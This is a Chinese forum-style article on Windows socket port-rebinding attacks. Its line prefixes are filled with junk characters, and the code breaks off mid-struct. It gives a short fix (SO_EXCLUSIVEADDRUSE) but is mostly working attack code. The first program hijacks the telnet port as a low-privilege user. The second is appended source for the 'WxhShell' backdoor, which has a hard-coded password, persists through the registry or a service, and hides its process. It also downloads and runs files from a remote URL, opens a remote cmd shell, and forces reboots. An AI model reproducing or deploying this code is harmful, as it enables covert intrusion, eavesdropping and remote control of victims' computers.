在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*kQCW#y0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|.C
U+;>S$ saddr.sin_family = AF_INET;
%kx
^/DH !&`\ LJ=j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fhV0S>*<
^ MT9n bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ChTXvkdH ,iVPcza 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]&:b<]K3 nnE_OK!}T 这意味着什么?意味着可以进行如下的攻击:
FxfL+}?Q `<J#l;y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v
(ka,Dk3 irsfJUr[V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_;:rkC fj 8rwYNb.P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
NGD*ce"w Q0cY/'>4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x48'1&m 7B(bH8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`4%;qLxngP 5_)@B]~nM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3eTrtCe$ ESMG<vW&f 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*J_iXu| VD24X #include
poD\C;o" #include
,?k%jcR #include
_(6`{PWY #include
]G0dS
Fh{j DWORD WINAPI ClientThread(LPVOID lpParam);
'_qQrP# int main()
rKzlK 'U {
P>Q{He: WORD wVersionRequested;
%l}Q?Z DWORD ret;
0)AM-/" WSADATA wsaData;
BF36V\ BOOL val;
HK0::6n{ SOCKADDR_IN saddr;
's[BK/ SOCKADDR_IN scaddr;
t'R':+0Vf int err;
t<sNc8x SOCKET s;
-\kXH"% SOCKET sc;
e40udLH~x int caddsize;
@Y
UY9+D& HANDLE mt;
$J"%I$%X= DWORD tid;
I1)-,/nEjg wVersionRequested = MAKEWORD( 2, 2 );
)'5<6Q.] err = WSAStartup( wVersionRequested, &wsaData );
%X4-a%512 if ( err != 0 ) {
dk_,YU'z printf("error!WSAStartup failed!\n");
$;Vc@mYGW; return -1;
>?5xDbRj }
fw' r. saddr.sin_family = AF_INET;
MBB5wj r219M)D? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ZBX '@TI48 J+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9?;@*x saddr.sin_port = htons(23);
Y{Da+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e&QS#k {
/vjGjb=3U printf("error!socket failed!\n");
s=d+GMa return -1;
yGiP[d|tRc }
W]]q=c%2 val = TRUE;
g5#CN:%f //SO_REUSEADDR选项就是可以实现端口重绑定的
Gg%tVQu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5`{vE4A]q {
)O3jQ_q= printf("error!setsockopt failed!\n");
QjA&IZEC
return -1;
-Z%F mv8 }
u7;`4P:o@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
99e*]')A% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
XFW5AP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4'SaEsA~ FY]pv6@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
5YiZ-CQ> {
[p ii ret=GetLastError();
2sKG(^=Z printf("error!bind failed!\n");
.^i<xY return -1;
s^w\zz Yb }
9ilM@SR listen(s,2);
)Zas
x6` while(1)
vsKl#R B {
(I4y[jnD caddsize = sizeof(scaddr);
v f`9*x F //接受连接请求
P##Z[$IJ3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#?9Q{0e if(sc!=INVALID_SOCKET)
<uZPqi|| {
!@u&{"{` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Sx8l<X if(mt==NULL)
&p5&=zV} {
{j?7d; 'j printf("Thread Creat Failed!\n");
RqXi1<6j# break;
]pnYvXf>! }
v~"Ef_` }
k6@b| CloseHandle(mt);
J58#$NC
`' }
1otspOy closesocket(s);
=7 VCtd/ WSACleanup();
:NuR>~ return 0;
ga-{!$b* }
HsnG4OE DWORD WINAPI ClientThread(LPVOID lpParam)
\c{R <Hh {
uPkb, :6~Z SOCKET ss = (SOCKET)lpParam;
W;q+, Io SOCKET sc;
Q',m{;; unsigned char buf[4096];
EX:{EmaT SOCKADDR_IN saddr;
{I{3 (M#" long num;
nq'M?c#E DWORD val;
%M9;I DWORD ret;
7 _g+^e-" //如果是隐藏端口应用的话,可以在此处加一些判断
x;j{}
% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
==N` !+ saddr.sin_family = AF_INET;
66Gx.tE saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(SF1y/g@= saddr.sin_port = htons(23);
Z:@6Lv?CN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_gW{gLYyJ {
)lh8
k{ printf("error!socket failed!\n");
IaLMWoh return -1;
V&i2L.{G) }
.+yW%~0 val = 100;
?*H9-2W@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%c X"#+e {
>,"sHm}l% ret = GetLastError();
,=|4:F9
return -1;
`
W4dx& }
rjUBLY1( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V^n0GJNo {
JrDHRIkgm ret = GetLastError();
B3mS] return -1;
\D?:J3H*] }
~*}$>@f{[X if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
WPo:^BD {
=&7@<vBpy printf("error!socket connect failed!\n");
=i>\2J%'R closesocket(sc);
_s+c+]bO closesocket(ss);
;cKH1 return -1;
;W{b $k@g }
MzzKJ;wbC6 while(1)
9#k0_vDoW {
jl}$HEI5m} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)KY:m |Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
g9KTn4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aMTFW_w num = recv(ss,buf,4096,0);
^Kqf~yS% if(num>0)
Au.:OeJm send(sc,buf,num,0);
I@\+l6&#; else if(num==0)
5G(E&>~ break;
t> .
Fl- num = recv(sc,buf,4096,0);
3b!,D if(num>0)
gnLn7? send(ss,buf,num,0);
>A}0Ho else if(num==0)
LA4<#KP break;
;`(R7X
*3 }
MBw-*K'?zB closesocket(ss);
CPviR<ms_ closesocket(sc);
NTmi 2c return 0 ;
WUEHB }
\Q&,ISO\ %8mm Hh +E5=$` ==========================================================
pSfYu=#f f:woP7FP 下边附上一个代码,,WXhSHELL
S1bAu
< *Zbuq8> ==========================================================
G[Tl%w cozXb$bBY #include "stdafx.h"
U)D[]BVg qZk:mlYd #include <stdio.h>
A\$
>>Z #include <string.h>
=X(%Svnp #include <windows.h>
H&4~Uo.5 #include <winsock2.h>
Rc[ 0aj: #include <winsvc.h>
zY=jXa)K~ #include <urlmon.h>
OH6^GPF6 &@v<nO- #pragma comment (lib, "Ws2_32.lib")
t'1Y@e #pragma comment (lib, "urlmon.lib")
YF[f Z p
&(OZJT #define MAX_USER 100 // 最大客户端连接数
1;lmu]I>) #define BUF_SOCK 200 // sock buffer
@T:faJ5\' #define KEY_BUFF 255 // 输入 buffer
g|%L"-%gJ C#Bz>2;# #define REBOOT 0 // 重启
|<qs #define SHUTDOWN 1 // 关机
+dW|^I{H} "y;bsZBd" #define DEF_PORT 5000 // 监听端口
F{m{d?:OA 1||+6bRP #define REG_LEN 16 // 注册表键长度
z[nS$]u #define SVC_LEN 80 // NT服务名长度
\9{F5Sz 6GL=)0Ah // 从dll定义API
T!2=*~A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
jqnCA<G~B- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D'_Bz8H!p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4Ysb5m)u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3x@<Z68S )9v`f9X){ // wxhshell配置信息
`BY&>WY[ struct WSCFG {
uQqWew8l+ int ws_port; // 监听端口
Pbu{'y3J char ws_passstr[REG_LEN]; // 口令
v?:: |{ int ws_autoins; // 安装标记, 1=yes 0=no
kH948<fk3 char ws_regname[REG_LEN]; // 注册表键名
9X}I> char ws_svcname[REG_LEN]; // 服务名
G"dS+,Q char ws_svcdisp[SVC_LEN]; // 服务显示名
J
CGC char ws_svcdesc[SVC_LEN]; // 服务描述信息
Y&.UIosWb char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{b)~V3rsY int ws_downexe; // 下载执行标记, 1=yes 0=no
)2e#HBnH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4QHS{tj char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s!+
pL| 'UU\4M };
e}yX_Z'P< Vw{*P2v) // default Wxhshell configuration
g);^NAA struct WSCFG wscfg={DEF_PORT,
hJ;$A*Y "xuhuanlingzhe",
TQ@d~GR 1,
w#y0atsg' "Wxhshell",
]j<Bo4~Il "Wxhshell",
39i9wrP "WxhShell Service",
^jE8+h "Wrsky Windows CmdShell Service",
9~\kF5Q" "Please Input Your Password: ",
^K(^I*q 1,
4Xj4|Rw% "
http://www.wrsky.com/wxhshell.exe",
IE2"rQ T "Wxhshell.exe"
.)tSg };
XMIbUbUk- f9u^ R=Ff[ // 消息定义模块
hT g<* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
23\RJpKb char *msg_ws_prompt="\n\r? for help\n\r#>";
0&+k.Vg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9xI GV! char *msg_ws_ext="\n\rExit.";
zYER char *msg_ws_end="\n\rQuit.";
lSwcL char *msg_ws_boot="\n\rReboot...";
,:Z^$ char *msg_ws_poff="\n\rShutdown...";
O[^%{' char *msg_ws_down="\n\rSave to ";
oqd;6[%G A^ \.Z4=d" char *msg_ws_err="\n\rErr!";
4u;9J*r4 char *msg_ws_ok="\n\rOK!";
*/qtzt 4,Ic}CvM char ExeFile[MAX_PATH];
\nNXxTxX! int nUser = 0;
dihjpI_ HANDLE handles[MAX_USER];
Uz7oL8 int OsIsNt;
%r\n%$@_ 21X`h3+= SERVICE_STATUS serviceStatus;
Dim>
7Wbh SERVICE_STATUS_HANDLE hServiceStatusHandle;
4BL;FO #6v27:XK // 函数声明
'dG%oDHX]P int Install(void);
]}="m2S3 int Uninstall(void);
`r"+644 int DownloadFile(char *sURL, SOCKET wsh);
JuR"J1MY int Boot(int flag);
o G*5f void HideProc(void);
G3P&{.v int GetOsVer(void);
6fo3:P*O int Wxhshell(SOCKET wsl);
"I6P=]|b void TalkWithClient(void *cs);
*iO u' int CmdShell(SOCKET sock);
3g'S\G@ int StartFromService(void);
%8~Q!=*Iq int StartWxhshell(LPSTR lpCmdLine);
x&sI=5l S{t +>/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?t&kb7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
B Xms;[ tc;'oMUP // 数据结构和表定义
Qj{8?lew SERVICE_TABLE_ENTRY DispatchTable[] =
|~`as(@Ih {
+d}E&=p_ {wscfg.ws_svcname, NTServiceMain},
kl!wVLE {NULL, NULL}
p@!nYPr. };
Z%zj";C
G AN:sQX` // 自我安装
!%+2Yifna int Install(void)
jd]s<C3o {
"xI" char svExeFile[MAX_PATH];
aimarU HKEY key;
qU2~fNY strcpy(svExeFile,ExeFile);
E907fX[R~ Ix@&$!'k // 如果是win9x系统,修改注册表设为自启动
e1(Q(3 if(!OsIsNt) {
/-_=nf}w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x5`br.b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:K`ESq!8u RegCloseKey(key);
RoA?p;]< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W:,4 :|3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9O`
m,t RegCloseKey(key);
`pf4X/Py return 0;
6oaazB^L }
h!~3Dw>,N }
o+`6LKg; }
l&4,v else {
<U5wB]] uzmk6G
v // 如果是NT以上系统,安装为系统服务
]w T 7*( Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
S:4crI if (schSCManager!=0)
WG*t::NN {
w{[=l6L m SC_HANDLE schService = CreateService
~vmdXR`'T (
v 8T$ &-HJ schSCManager,
rk+#GO{ wscfg.ws_svcname,
](tx<3h wscfg.ws_svcdisp,
>EL)X
#e SERVICE_ALL_ACCESS,
hT$~ygQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qPB8O1fyU SERVICE_AUTO_START,
7{e{9QbJ4 SERVICE_ERROR_NORMAL,
#_lt~^6 svExeFile,
0&qr NULL,
V@>r*7\F NULL,
bfB\h*XO NULL,
gmIqT
f NULL,
=U8a ?0 NULL
swA+f );
ul%h@=n if (schService!=0)
ZX ?yL>4 {
D3|oOOoG CloseServiceHandle(schService);
QM3,'?ekRH CloseServiceHandle(schSCManager);
f|^dD` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5MFxo63 strcat(svExeFile,wscfg.ws_svcname);
t+5E#!y
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
mj|)nOd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
mNmLyU=d RegCloseKey(key);
{x'GJtpb return 0;
V.os }
-.g|l\ }
NCxqh < CloseServiceHandle(schSCManager);
-':Y\:W }
Hzrtlet }
;a-$D]Db +/#Ei'do return 1;
>=]'hyn]] }
f;/QJ [V4 {c@ // 自我卸载
*),8PoT int Uninstall(void)
OB[o2G <0 {
'n<iU st HKEY key;
jp $Z] 763+uFx^ if(!OsIsNt) {
&/Ro lIHF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2X:4CC%5 RegDeleteValue(key,wscfg.ws_regname);
wApMzZ(X2y RegCloseKey(key);
IbcZ@'RSw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}FzqW*4~ RegDeleteValue(key,wscfg.ws_regname);
WL` 9~S RegCloseKey(key);
dw.F5?j`b return 0;
Wf{O[yL* }
V([~r, }
kdb(I@6 }
F4<O2!V else {
?<G]&EK~~] e/->_T(I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-P&6L\V if (schSCManager!=0)
Lm@vXgMD {
"V&+7"Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&$`yo` if (schService!=0)
DGevE~ {
,f1q)Qf if(DeleteService(schService)!=0) {
DE2a5+^ CloseServiceHandle(schService);
rP!#RzL CloseServiceHandle(schSCManager);
]7;\E\o return 0;
0* /{4)r }
BTM),
w2 CloseServiceHandle(schService);
7}*6#KRG }
6U^\{<h_c CloseServiceHandle(schSCManager);
qF 9NQ; }
k</%YKk }
{EdH$l>94 0rGSH*( return 1;
' B }
S(\9T1DVe -=.V
' // 从指定url下载文件
?<6CFH] int DownloadFile(char *sURL, SOCKET wsh)
U^qt6$bK {
S1/`th HRESULT hr;
w[6J
` char seps[]= "/";
: Sq?a0!S char *token;
0%)i<a!_Z char *file;
SZJ$w-<z char myURL[MAX_PATH];
nenU)*o char myFILE[MAX_PATH];
~EK'&Y"1 kD bhu^~B strcpy(myURL,sURL);
{QCf}@_]h token=strtok(myURL,seps);
d|T!v while(token!=NULL)
gocrjjAHk {
tK
k#LWB file=token;
T97]P-}
token=strtok(NULL,seps);
4(-bx.V }
1 { , F J[^}u_z GetCurrentDirectory(MAX_PATH,myFILE);
"_2Ng<2 strcat(myFILE, "\\");
a,78l@d( strcat(myFILE, file);
(%O@r!{ send(wsh,myFILE,strlen(myFILE),0);
l3nrEk send(wsh,"...",3,0);
}8;[O
9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V'w@rc\XN if(hr==S_OK)
1Z{ZV.! return 0;
lC=~$c: else
;(}V"i7Hu return 1;
Z'H5,)j0R &i!vd/*WlD }
pIbdN/z wO2_DyMm@ // 系统电源模块
nYbhy}y int Boot(int flag)
ZylJp8U {
7OjR._@ HANDLE hToken;
+nQw?'9Z TOKEN_PRIVILEGES tkp;
^!q?vo\j| &sF^Fgg{ if(OsIsNt) {
r!,}Z=cGe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'Wa,OFd\8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
si4don tkp.PrivilegeCount = 1;
1".v6caW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r=c<--_@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
N25V] if(flag==REBOOT) {
;;A2!w{}[i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#[#KL/i)$ return 0;
m~uOXb }
y*MF&mQ[ else {
]jpu,jz: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
b~-%c_ return 0;
#lU9yv }
}-~T<egF }
C;(t/zh else {
42L
@w if(flag==REBOOT) {
"`asFg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1He{v# return 0;
W5#611 }
vd6l7"0/ else {
hR5_+cuIp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"*O4GPj return 0;
2S' {!A }
Zf5`XslA. }
2c?qV zXsc1erli return 1;
oq*N_mP0
}
UJs$q\#RO JMdPwI // win9x进程隐藏模块
r <
cVp^ void HideProc(void)
5{$LsL {
OxGE%R, e6_ZjrQf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W[+|} if ( hKernel != NULL )
ZtHm\VTS {
lD{Aa!\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?uMQP NYs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0kDK~iT FreeLibrary(hKernel);
-7!&@wuQ }
#Km:}= {647|j;e return;
&F}"Z(B<wK }
N$[$;Fm: lgpW@g // 获取操作系统版本
_bD/D!| int GetOsVer(void)
~afg)[( {
q$G,KRy/ OSVERSIONINFO winfo;
E\m5%bK\B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
M,}|tsL GetVersionEx(&winfo);
. @Ut?G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
pWu LfX return 1;
34!dYr% else
^t7x84jhL return 0;
H'F6$ypoS }
>%E([:$A m0{ !hF[^ // 客户端句柄模块
) _ I,KEe int Wxhshell(SOCKET wsl)
#.[AK_S5& {
"7>>I D SOCKET wsh;
f&D]anf33 struct sockaddr_in client;
8}w6z7e|{ DWORD myID;
w:'dhr': dz>;<&2Z while(nUser<MAX_USER)
a}Sd W {
PA w-6; int nSize=sizeof(client);
_7DkS}NJs wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
m`6Yc:@E if(wsh==INVALID_SOCKET) return 1;
W(RF n`g\ Xtq{% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?X?&~3iD% if(handles[nUser]==0)
(6v(9p closesocket(wsh);
0b91y3R+ else
(Toq^+`c nUser++;
e"r)R8 }
`]Bxn)b( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9z?oB&5 q %A?V_ return 0;
)5fQ$<(Z }
HyiFy7j .}')f;jH5< // 关闭 socket
$(Ugtimdv void CloseIt(SOCKET wsh)
qNyzU@ {
/WPv\L closesocket(wsh);
;O 0+, nUser--;
4lKVY< ExitThread(0);
vILy>QS) }
S]sk7 |lH;Fq{\ // 客户端请求句柄
j'i0*"x void TalkWithClient(void *cs)
ZtVAEIZ) {
y$hp@m'@C $>U#
W: SOCKET wsh=(SOCKET)cs;
9dh>l!2 char pwd[SVC_LEN];
(J"T]-[ char cmd[KEY_BUFF];
A|}l)!% char chr[1];
'2zL.:~ int i,j;
56hA]O29O NvjJb-u while (nUser < MAX_USER) {
?t@v&s h;lirvO| if(wscfg.ws_passstr) {
0:KE@= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e$c?}3E!z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(SVWdgb //ZeroMemory(pwd,KEY_BUFF);
-oz`"&% i=0;
^BZkHAp while(i<SVC_LEN) {
bU 63X={ 0^'B3$> // 设置超时
vFrt|JC_{ fd_set FdRead;
z<gu00U7 struct timeval TimeOut;
t4Z FD_ZERO(&FdRead);
O?EB8RB FD_SET(wsh,&FdRead);
sM1RU TimeOut.tv_sec=8;
EPW7+Ve TimeOut.tv_usec=0;
c':ezEaC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Y<\^7\[x if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Wi n8LOC 0%s|Zbo!> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
nRhrWS pwd
=chr[0]; q^rl)
if(chr[0]==0xd || chr[0]==0xa) { G)>W'yxQ
pwd=0; }2)DPP:ic
break; 5sde
} h06ku2Q
i++; =R*Gk4<Y
} v;y0jD#b
xa( m5P
// 如果是非法用户,关闭 socket 2}}?'PwwT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ja]oGT=e
} `P+(&taT
0JRD
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T)7TyE|"2g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~#:e *:ro
'k&?DZ!
while(1) { 7dh1W@\
XM
Vq-8B0
ZeroMemory(cmd,KEY_BUFF); [AEBF2OIv
TY;U2.Ud
// 自动支持客户端 telnet标准 e`{0d{Nd
j=0; |P6EO22p
while(j<KEY_BUFF) { I.}1JJF*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]6tkEyuq
cmd[j]=chr[0]; tqOi
x/
if(chr[0]==0xa || chr[0]==0xd) { Ccfwax+
cmd[j]=0; -'rj&x{Q)U
break; ")s!L"x
} d_}a`H
j++; F>|9 52
} {F*N=pSq
;Hm'6TR!
// 下载文件 PX".Km p.
if(strstr(cmd,"http://")) { ApPy]IdwX
send(wsh,msg_ws_down,strlen(msg_ws_down),0); go)p%}s
if(DownloadFile(cmd,wsh)) 8dT'xuch
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zW{ 6Eg
else ;'RFo?u K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }wt%1v-10U
} a j|5 #
else { o}8{Bh^
r
-f
switch(cmd[0]) { 0rMqWP
.")b?#K
// 帮助 PB~_I=
case '?': { (0*v*kYdL+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nYv#4*
break; ^6 /j_G
} "2n;3ByR
// 安装 L9IGK<
case 'i': { [j6~}zu@
if(Install()) ((3t:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t\5c@j p
else m>Ux`Gp+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UFZ"C,
break; 24@^{
}
} `]2@_wa
// 卸载 _^uc 0=
case 'r': { l^ 4OC
if(Uninstall()) &R]pw`mTH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[/.I,9U^
else >M^&F6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R $b,h
break; $"fo^?d/s
} @vH2Vydu
// 显示 wxhshell 所在路径 5ouQQ)vA
case 'p': { `6 Y33bQ
char svExeFile[MAX_PATH]; xcSR{IZ
strcpy(svExeFile,"\n\r"); >7-y#SkXdo
strcat(svExeFile,ExeFile); SR*Gqx
send(wsh,svExeFile,strlen(svExeFile),0); 9$tl00
break; N2~$rpU3
} cIw
eBDl
// 重启 ;bHfn-X
case 'b': { X7cWgo66T
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *8!w&ME+.
if(Boot(REBOOT)) OCx5/ 88X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2:J,2=%
else { KVijs1q
closesocket(wsh); hYvNcOSks
ExitThread(0); BF|*"#s
} g5R,% 6
break; #4y,a_)
} CM 9P"-
// 关机 J~J@ ]5/
case 'd': { N_vXYaY
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G*\sdBW!k
if(Boot(SHUTDOWN)) _'JRo%{xGX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iPU% /_>
else { g3rRhS
closesocket(wsh); ltEF:{mLe#
ExitThread(0); {'IFWD. 5
} {% F`%_{"
break; x}"Q8kD
} >~&(P_<b
// 获取shell x YT}>#[
case 's': { B
T7Id
CmdShell(wsh); Qq0O0U
closesocket(wsh); E/"SU*Co
ExitThread(0); UvD-C?u'
break; lwsbm D
} aY j%w
// 退出 b7'F|h^
case 'x': { *]!l%Uf%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (UzPkl kZ
CloseIt(wsh); _<u;4RO(s
break; >-<F)
} Yq0# #__
// 离开 X8b#[40:
case 'q': { F!R2_89iy
send(wsh,msg_ws_end,strlen(msg_ws_end),0); " dT>KQ
closesocket(wsh); !Zj#.6c9
WSACleanup(); 0#=W#Jl>
exit(1); %]GV+!3S
break; Doj(.wm~
} :)LC gIQo
} 66dTs,C
} ;Id"n7W
k#jm7 +
// 提示信息 CgoXZX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L<E/,IdE
} poY8
)2
} qL>v&Rd<
'fl(N2t
return; ]-EN/V
} _Y7:!-n}
x:C@)CAr
// shell模块句柄 !OQuEJR
int CmdShell(SOCKET sock) gUb
"3g0
{ C M^r|4K
STARTUPINFO si; >Qk97we'9
ZeroMemory(&si,sizeof(si)); ER2V*,n@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7V/Zr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I}ndRDz[
PROCESS_INFORMATION ProcessInfo; IdmD.k0pJ
char cmdline[]="cmd"; }+JLn%H)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AgCs;k&IG
return 0; hOn
} h{H]xe[Q
5C65v:Q`N
// 自身启动模式 @|'Z@>!/pV
int StartFromService(void) wNR=?Z~
{ D{3fhPNU<b
typedef struct P|v ?
{ 2+Vp'5>&
DWORD ExitStatus; Q6|@N~UeZ
DWORD PebBaseAddress; @aUZ#,(<
DWORD AffinityMask; 'yeh7oR
DWORD BasePriority; g6`.qyVfz'
ULONG UniqueProcessId; bx]14}6
ULONG InheritedFromUniqueProcessId;
\aB&{`iG
